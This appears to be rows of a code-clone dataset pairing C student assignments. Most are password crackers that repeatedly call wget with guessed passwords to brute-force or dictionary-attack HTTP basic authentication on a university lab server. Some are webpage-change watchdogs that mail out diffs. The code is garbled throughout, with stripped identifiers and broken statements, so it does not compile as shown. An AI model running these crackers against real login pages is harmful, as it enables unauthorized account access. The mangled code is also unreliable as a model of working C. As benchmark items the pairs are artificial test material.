end = time();
total_time = (end-)/1e9;
printf("\ntotal time_var = %f ", total_time);
printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
printf("\navg time_var %f / %d = %f\n", total_time, number,total_time/number);
stop = 0;
exit(0);
}
}
}
}
}
return (EXIT_SUCCESS);
}
int
SysCall(char *password)
{
char url1[255], url2[255], [255];
int rettype;
rettype = 0;
strcpy(url1, "wget --non-verbose --http-user= --http-passwd=");
strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");
strcat(, url1);
strcat(, password);
strcat(, url2);
printf("%s\t",password);
fflush(stdout);
rettype = system();
if (rettype == 0) {
printf("Successfully retrieved password: \'%s\'\n");
return 0;
}
strcpy(, "");
}
| 0 |
028.c | 047.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
void passwordcheck(char pass[],int tt,int not);
()
{
int i,j,k,t,tt,not;
char cp[3];
char [4];
char a[]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
tt=time(&(t));
not=0;
for (i=0;i<=51;i++)
{
cp[0]=a[i];
sprintf(,"%c",cp[0]);
passwordcheck(,tt,not);
for (j=0;j<=51;j++)
{
cp[0]=a[i];
cp[1]=a[j];
sprintf(,"%c%c",cp[0],cp[1]);
passwordcheck(,tt,not);
for(k=0;k<=51;k++)
{
cp[0]=a[i];
cp[1]=a[j];
cp[2]=a[k];
sprintf(,"%c%c%c",cp[0],cp[1],cp[2]);
passwordcheck(,tt,not);
}
}
}
}
void passwordcheck(char pass[],int tt,int not)
{
char url[400];
int num,ti,tti;
strcpy(url,"wget --http-user= --http-passwd=");
strcat(url,pass);
strcat(url," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
printf("The password combination is :%s",pass);
fflush(stdout);
num=system(url);
not++;
if (num==0)
{
time(&(ti));
tti=ti-tti;
printf("The actual password is :%s\n",pass);
printf("The number of attempts crack the password is :%d",not);
printf("The time_var taken find the password by brute force attack is :%d\n seconds",tti);
exit(1);
}
else
{
strcpy(pass,"");
}
}
| 0 |
028.c | 036.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#define _REENTRANT
#include <sys/time.h>
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <ctype.h>
#include <pthread.h>
#include <signal.h>
#define MAX_THREADS 1000
#define MAX_COMBO
#define false 0
#define true 1
static char *alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
static char **combination=NULL;
static char host[128];
pthread_mutex_t counter_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER;
pthread_cond_t thread_ready = PTHREAD_COND_INITIALIZER;
static int attempt_count=0;
static int combo_entries=0;
static struct timeval ;
static struct timeval stop;
static int thread_ready_indicator=false;
static int thread_start_indicator=false;
static int thread_count=0;
typedef struct range
{
int ;
int ;
}range;
void *client(void *arg)
{
int i=0, status=0;
range *= (struct range*)arg;
char local_buffer[128];
pthread_mutex_lock(&thread_lock);
thread_ready_indicator=true;
pthread_cond_signal(&thread_ready);
while(thread_start_indicator==false) pthread_cond_wait(&start_hacking, &thread_lock);
fflush(stdout);
pthread_mutex_unlock(&thread_lock);
for(i=->; i<=-> && i<combo_entries; i++)
{
sprintf(local_buffer,
"wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s",
"", combination[i], host);
status=system(local_buffer);
if(status==0)
{
printf("\n\nusername: \npassword: %s\n\n", combination[i]);
fflush(stdout);
pthread_mutex_lock(&counter_lock);
attempt_count++;
gettimeofday(&stop, NULL);
printf("About %d attempts were , which took %ld.%ld seconds complete.\n",
attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
fflush(stdout);
pthread_mutex_unlock(&counter_lock);
exit(EXIT_SUCCESS);
}
else
{
pthread_mutex_lock(&counter_lock);
attempt_count++;
pthread_mutex_unlock(&counter_lock);
}
}
pthread_exit(NULL);
}
int (int argc, char **argv)
{
FILE *input;
int wait_status=0, i=0, j=0, num_threads=0;
int partition=0, prev_min=0, prev_max=0;
int len=0;
char *c; range *;
pthread_t tid[MAX_THREADS];
char buffer[128];
int non_alpha_detected=0;
if(argc<4)
{
puts("Incorrect usage!");
puts("./dict num_threads input_file url");
exit(EXIT_FAILURE);
}
num_threads=atoi(argv[1]);
strcpy(host, argv[3]);
combination = (char **)calloc(MAX_COMBO, sizeof(char *));
printf("Process ID for the thread is: %d\n", getpid());
printf("Creating dictionary ...");
if( (input=fopen(argv[2], "r"))==NULL )
{
puts("Cannot open the file specified!");
exit(EXIT_FAILURE);
}
while( fgets(buffer, 128, input) != NULL && i<MAX_COMBO)
{
len=strlen(buffer);
len--;
buffer[len]='\0';
if(len > 3) continue;
for(j=0; j<len; j++) if(isalpha(buffer[j])==0) { non_alpha_detected=1; break; }
if(non_alpha_detected==1)
{
non_alpha_detected=0;
continue;
}
combination[i]=calloc(len+1, sizeof(char));
strcpy(combination[i++], buffer);
combo_entries++;
}
fclose(input);
printf("\nAttacking host: %s\n", host);
j=0;
partition=combo_entries/num_threads;
if(partition==0)
{
puts("Reducing the number of threads match the number of words.");
num_threads=combo_entries;
partition=1;
}
prev_min=0;
prev_max=partition;
i=0;
memset(&, 0, sizeof(struct timeval));
memset(&stop, 0, sizeof(struct timeval));
while(i<num_threads && i<MAX_THREADS)
{
=malloc(sizeof(struct range));
->=prev_min;
->=prev_max;
pthread_mutex_lock(&thread_lock);
thread_ready_indicator=false;
pthread_mutex_unlock(&thread_lock);
if(pthread_create(&tid[i++], NULL, client, (void *))!=0) puts("Bad thread ...");
pthread_mutex_lock(&thread_lock);
while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock);
pthread_mutex_unlock(&thread_lock);
prev_min+=partition+1;
if(i==num_threads)
{
prev_max=combo_entries;
}
else
{
prev_max+=partition+1;
}
}
gettimeofday(&, NULL);
pthread_mutex_lock(&thread_lock);
thread_start_indicator=true;
pthread_mutex_unlock(&thread_lock);
pthread_cond_broadcast(&start_hacking);
printf("Created %d threads process %d passwords.\n", num_threads, combo_entries);
for(i=0; i<num_threads && i<MAX_THREADS; i++) pthread_join(tid[i], NULL);
gettimeofday(&stop, NULL);
puts("Could not determine the password for this site.");
printf("About %d attempts were , which took %ld.%ld seconds complete.\n",
attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
fflush(stdout);
for(i=0; i<combo_entries; i++) (combination[i]);
(*combination);
return EXIT_SUCCESS;
}
| 0 |
028.c | 077.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/wait.h>
#include <signal.h>
#include <sys/signal.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define NUM_OF_PROCESSES 4
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*, int);
int pwdFound;
int cDie;
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func
, int sCh, int eCh, int id);
char* initPasswdStr(int len, char ch, char headOfChSet);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd, int id);
int myFork(const char chSet[], int numOfCh, int len, CrackFuncPtr func
, int sCh, int eCh);
void passwdFoundHandler(int signum)
{
pwdFound = TRUE;
}
void childFinishHandler(int signum)
{
cDie++;
}
int main()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
int i;
int pid[NUM_OF_PROCESSES];
pwdFound = FALSE;
cDie = 0;
for (i=0; i<NUM_OF_PROCESSES; i++)
{
pid[i] = myFork(charSet, MAX_CHAR_SET, MAX_PASSWD_LEN, crackHTTPAuth,
(((MAX_CHAR_SET /NUM_OF_PROCESSES)*i)+1)-1,
(MAX_CHAR_SET /NUM_OF_PROCESSES)*(i+1)-1);
}
for (;;)
{
signal(SIGUSR1, passwdFoundHandler);
signal(SIGUSR2, childFinishHandler);
if (pwdFound)
{
for (i=0; i<4; i++)
{
kill((int)pid[i], SIGKILL);
}
exit(EXIT_SUCCESS);
}
if (cDie >= NUM_OF_PROCESSES)
{
exit(EXIT_SUCCESS);
}
}
return EXIT_SUCCESS;
}
int myFork(const char chSet[], int numOfCh, int len, CrackFuncPtr func,
int sCh, int eCh)
{
int i;
int pid = fork();
if (pid == 0)
{
for (i=1; i<=len; i++)
{
if (runBruteForce(chSet, numOfCh, i, func, sCh, eCh, getpid()))
{
if (!kill(getppid(), SIGUSR1))
{
printf("Process %d found the password and notified the parent process already",
(int)getpid());
}
exit(EXIT_SUCCESS);
}
}
if (!kill(getppid(), SIGUSR2))
{
printf("Process %d could not found the password and notified the parent process already",
(int)getpid());
}
exit(EXIT_SUCCESS);
}
else if (pid > 0)
{
return pid;
}
else
{
printf("error\n");
exit(EXIT_FAILURE);
}
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func
, int sCh, int eCh, int id)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[sCh], chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; (iter<pow(numOfCh, (len-1))*(eCh-sCh+1))&&(!passwdFound); iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
if (chIter == len-1)
{
str[chIter] = chSet[sCh];
}
else
{
str[chIter] = chSet[0];
}
}
}
if (func(USERNAME, str, id))
{
printf("\nPassword found: %s\n\n", str);
passwdFound = TRUE;
}
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch, char headOfChSet)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len-1; i++)
{
str[i] = headOfChSet;
}
str[len-1] = ch;
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.", len);
exit(EXIT_FAILURE);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd, int id)
{
char cmd[256];
struct stat fileInfo;
char fileToCheck[256];
sprintf(cmd, "wget -O %d -q --http-user=%s --http-passwd=%s --proxy=off %s",
id, username, passwd, URL);
system(cmd);
sprintf(fileToCheck, "%d", id);
(void)stat(fileToCheck, &fileInfo);
return fileInfo.st_size;
}
| 0 |
028.c | 012.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#define OneBillion 1e9
int () {
FILE *fp;
int ret;
char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=";
char str[100];
char passwd[150];
int startTime, stopTime, final;
strcpy(passwd,strin);
fp = fopen("words","r");
if (fp == NULL) {
printf ("\n Error opening file; exiting...");
exit(0);
}
else
startTime = time();
while (fgets(str,20,fp) != NULL) {
str[strlen(str)-1] = '\0';
if (strlen(str) < 4) {
strcat(passwd,str);
printf("string is %s\n",passwd);
ret = system(passwd);
strcpy(passwd,strin);
if (ret == 0) break;
}
}
stopTime = time();
final = stopTime-startTime;
printf("\n============================================================");
printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html");
printf("\n UserName : ");
printf("\n Password : %s\n",str);
printf("The program took %lld nanoseconds (%lf) seconds \n", final, (double)final/OneBillion );
printf("\n============================================================");
}
| 0 |
028.c | 019.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int ()
{
char url[30];
int exitValue=-1;
FILE *fr;
char s[300];
system("rm index.html*");
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html one.html");
printf("System completed Writing\n");
system("sleep 3600");
system("wget http://www.cs.rmit.edu./students/ ");
exitValue=system("diff one.html index.html > .out" );
fr=fopen(".out","r");
strcpy(s,"mailx -s \"Testing Again\"");
strcat(s," < .out");
if(fgets(url,30,fr))
{
system(s);
system("rm one.html");
printf("\nCheck your mail") ;
fclose(fr);
}
else
{
printf(" changes detected");
system("rm one.html");
fclose(fr);
}
return 0;
}
| 0 |
028.c | 061.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdlib.h>
#include<stdio.h>
#include<ctype.h>
int
(int argc, char *argv[])
{
FILE *fp;
int response, difference, diffimage;
system("mkdir backup");
system("mkdir backup/images");
while (1) {
response = system("wget -p http://www.cs.rmit.edu./students");
if ((fp = fopen("./backup/index.html", "r")) == NULL) {
system("cp www.cs.rmit.edu./students/index.html ./backup");
system("cp www.cs.rmit.edu./images/*.* ./backup/images");
system("md5sum ./backup/images/*.* > ./backup/md5sumprior.txt");
} else {
difference = 0; diffimage = 0;
difference = system("diff ./backup/index.html www.cs.rmit.edu./students/index.html > data");
system("md5sum www.cs.rmit.edu./images/*.* > ./backup/md5sumlater.txt");
diffimage = system("diff ./backup/md5sumprior.txt ./backup/md5sumlater.txt > md5diff");
printf("difference=%d, diffimage=%d",difference,diffimage);
if (difference == 0 && diffimage == 0) {
printf("\nNo modification\n");
} else {
printf("\nModification\n");
system(" data | mail @cs.rmit.edu.");
system(" md5diff | mail @cs.rmit.edu.");
}
system("cp www.cs.rmit.edu./students/index.html ./backup");
system("cp www.cs.rmit.edu./images/*.* ./backup/images");
system("cp ./backup/md5sumlater.txt ./backup/md5sumprior.txt");
}
sleep(86400);
}
}
| 0 |
028.c | 042.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <ctype.h>
#include<sys/time.h>
int ()
{
char first[80], last[50];
int count =0;
int Start_time,End_time,Total_time,average;
char password[15], *getWord;
getWord = " ";
FILE *fp;
int systemres = 1;
fp = fopen("words", "r");
Start_time = time();
strcpy(first, "wget --http-user= --http-passwd=");
strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");
{
getWord = fgets(password, 15, fp);
if (getWord == NULL) exit(1);
password [ strlen(password) - 1 ] = '\0';
if(strlen(password) == 3)
{
strcat(first, password);
strcat(first, last);
printf("The length of the word is : %d", strlen(password));
printf("\n %s \n",first);
count++;
systemres = system(first);
if (systemres == 0)
{
printf(" Time =%11dms\n", Start_time);
End_time = time();
Total_time = (End_time - Start_time);
Total_time /= 1000000000.0;
printf("totaltime in seconds =%lldsec\n", Total_time);
printf("Total of attempts %d", count);
printf("\nsuccess %d %s\n",systemres,password);
printf("\nsuccess %d %s\n",systemres,password);
exit(1);
}
strcpy(first, "");
strcpy(first, "wget --http-user= --http-passwd=");
printf("%s", password);
}
}
while(getWord != NULL);
}
| 0 |
028.c | 075.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#define MSG_FILE "msg"
#define EMAIL_TO "@cs.rmit.edu."
#define TRUE 1
#define FALSE 0
void genLog(char *logFile, const char *URL);
void getPage(const char *URL, const char *fname);
int getCurTime();
int logDiff(const char *logFile, int time);
int isFileExist(const char *fname);
void sendMail(const char* emailTo, const char* subject, const char* msgFile
, const char* log);
int (int argc, char **argv)
{
int time_var;
char *URL;
int upTime = 0;
char logFile[256];
int logSent = FALSE;
char subject[256];
if (argc != 3)
{
fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n");
exit(1);
}
else
{
time_var = atoi(argv[2]);
URL = malloc(strlen(argv[1]));
if (URL)
{
for (;;)
{
if (((int)difftime(upTime, getCurTime()) % time_var == 0)
&& !logSent)
{
strncpy(URL, argv[1], strlen(argv[1]));
genLog(logFile, URL);
if (logDiff(logFile, time_var))
{
sprintf(subject, "Changes of %s", URL);
sendMail(EMAIL_TO, subject, MSG_FILE, logFile);
logSent = TRUE;
}
else
{
}
}
if ((int)difftime(upTime, getCurTime()) % time_var != 0)
{
logSent = FALSE;
}
}
}
else
{
fprintf(stderr, "Error: Unable allocate %d bytes memory\n", strlen(argv[1]));
exit(1);
}
}
return 0;
}
void genLog(char *logFile, const char *URL)
{
char fname[256];
sprintf(fname, "%d", getCurTime());
strncpy(logFile, fname, strlen(fname));
logFile[strlen(fname)+1] = '\0';
getPage(URL, fname);
}
void getPage(const char *URL, const char *fname)
{
char cmd[256];
sprintf(cmd, "wget -O %s -q --proxy=off %s", fname, URL);
system(cmd);
}
int getCurTime()
{
return time(NULL);
}
int logDiff(const char *logFile, int time)
{
int lastLogInt = atoi(logFile)-time;
char lastLogStr[256];
char cmd[1024];
struct stat fileInfo;
char newLogFile[256];
sprintf(lastLogStr, "%d", lastLogInt);
if (isFileExist(lastLogStr))
{
sprintf(newLogFile, "%s.log", logFile);
sprintf(cmd, "diff -y %s %s > %s", lastLogStr, logFile, newLogFile);
system(cmd);
(void)stat(newLogFile, &fileInfo);
if (fileInfo.st_size)
{
return TRUE;
}
else
{
return FALSE;
}
}
else
{
return FALSE;
}
}
int isFileExist(const char *fname)
{
FILE *fp;
fp = fopen(fname, "r");
if (fp)
{
fclose(fp);
return TRUE;
}
else
{
return FALSE;
}
}
void sendMail(const char* emailTo, const char* subject, const char* msgFile, const char* log)
{
char tempCmd[1024];
char cmd[1024];
sprintf(tempCmd, " %s | mutt -s \"%s\" -a \"%s.log\" -x %s",
msgFile, subject, log, emailTo);
strncpy(cmd, tempCmd, 1024);
system(cmd);
}
| 0 |
028.c | 055.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| # include <stdlib.h>
# include <stdio.h>
# include <strings.h>
int ()
{
FILE* fpp;
FILE* fp;
char s[100];
int i;
while(1)
{
system("wget -nv http://www.cs.rmit.edu./students");
i=0;
fp = fopen("dummyindex.txt","r");
if(fp == (FILE*) NULL)
{
printf(" is previously saved webpage in the file\n");
i=1;
fp = fopen("dummyindex.txt","w");
}
fclose(fp);
system("diff index.html dummyindex.txt > compareoutput.txt");
if(fpp != (FILE*) NULL)
{
fpp = fopen("compareoutput.txt","r");
fgets(s,100,fpp);
fclose(fpp);
if((strlen(s)>0) && i==0)
{
system("mail @cs.rmit.edu. < compareoutput.txt");
system("cp index.html dummyindex.txt");
printf("Message has been sent\n");
}
else
printf(" is change in the \n");
}
system("rm index.html") ;
sleep(86400);
}
return 1;
}
| 0 |
028.c | 005.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>
int ()
{
char url[80];
char syscom[]= "wget -nv --http-user= --http-passwd=";
char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/";
char [] ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
char username[8];
char pass[4];
int i,j,k,hack=1;
int attempt = 1;
int , end, time_var;
= time();
for ( i = 0 ;i<strlen();i++)
{
pass[0]=[i];
for( j = 0 ;j<strlen();j++)
{
pass[1]=[j];
for ( k = 0 ;k<strlen();k++)
{
fflush(stdin);
pass[2]=[k];
pass[3]='\0';
printf("%s\n",pass);
sprintf(url,"%s%s %s",syscom,pass,http);
hack = system(url);
attempt++;
if (hack == 0)
{
end = time();
time_var = (end-);
printf("\nbr The password is :%s",pass);
printf("\nNo. of Attempts crack the password :%d",attempt);
printf("\nTime taken crack the password = %lld sec\n",time_var/1000000000);
exit(1);
}
}
}
}
}
| 0 |
028.c | 018.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>
char* joinMe(char* t, char* t2)
{
char* result;
int length = 0;
int j = 0;
int counter = 0;
length = strlen(t) + strlen(t2) + 1;
result = malloc(sizeof(char) * length);
for(j = 0; j<strlen(t); j++)
{
result[j] = t[j];
}
for(j = strlen(t); j<length; j++)
{
result[j] = t2[counter];
counter++;
}
result[length-1] = '\0';
return result;
}
void check(char** smallcmd)
{
int pid = 0;
int status;
if( (pid = fork()) == 0)
{
execvp(smallcmd[0],smallcmd);
}
else
{
while(wait(&status) != pid);
}
}
int (void)
{
int i = 0, j = 0, k = 0;
char** smallcmd;
int count = 0;
FILE *myFile,*myFile2,*myFile3;
int compare1;
char* myString;
int length = 0;
int start1, end1;
myString = malloc(sizeof(char) * 100);
smallcmd = malloc(sizeof(char *) * 8);
smallcmd[0] = "/usr/local//wget";
smallcmd[1] = "--http-user=";
smallcmd[2] = "--http-passwd=";
smallcmd[3] = "-o";
smallcmd[4] = "logwget";
smallcmd[5] = "-nv";
smallcmd[6] = "http://sec-crack.cs.rmit.edu./SEC/2/";
printf("-------------now trying Dictonary force attack---------------\n");
start1 = time();
myFile = fopen("/usr/share/lib/dict/words","r");
if(myFile != (FILE*) NULL)
{
while( fgets(myString,100,myFile) != NULL)
{
smallcmd[2] = joinMe(smallcmd[2],myString);
length = strlen(smallcmd[2]);
smallcmd[2][length-1] = '\0';
printf("Checking : %s\n",smallcmd[2]);
check(smallcmd);
count++;
myFile2 = fopen("logwget", "r");
if (myFile2 != (FILE*) NULL)
{
fgets(myString,100,myFile2);
printf("%s\n",myString);
if( strcmp(myString,"Authorization failed.\n") != 0)
{
printf("Passwd = %s\n\n",smallcmd[2]);
end1= time();
myFile3 = fopen("log.txt","a");
fprintf(myFile3,"%s",smallcmd[2]);
fputs("\nTime taken by Dictionary Attack ",myFile3);
compare1 = ((end1-start1)/1000000000);
fprintf(myFile3,"%lld",compare1);
fputs(" seconds\n",myFile3);
fputs("this took ",myFile3);
fprintf(myFile3,"%d",count);
fputs(" attempts\n\n",myFile3);
fclose(myFile3);
}
fclose(myFile2);
}
smallcmd[2] = "--http-passwd=";
}
}
fclose(myFile);
return 1;
}
| 0 |
028.c | 029.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
int ()
{
FILE *fp;
char [100];
int flag = 0;
system("rm index.html*");
system("wget http://www.cs.rmit.edu./students/");
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mv index.html index1.html");
sleep(8640);
system("wget http://www.cs.rmit.edu./students/");
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("diff index1.html index.html > out.txt");
fp = fopen("out.txt","r");
if (fgets(,100,fp) != NULL)
{
flag = 1;
printf("\nThere changes in the website.Check your mail\n");
system("mailx -s \"output of watchdog\" < out.txt");
}
if(flag == 0 )
printf("\n changes in the website\n ");
fclose(fp);
exit(1);
}
| 0 |
028.c | 004.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
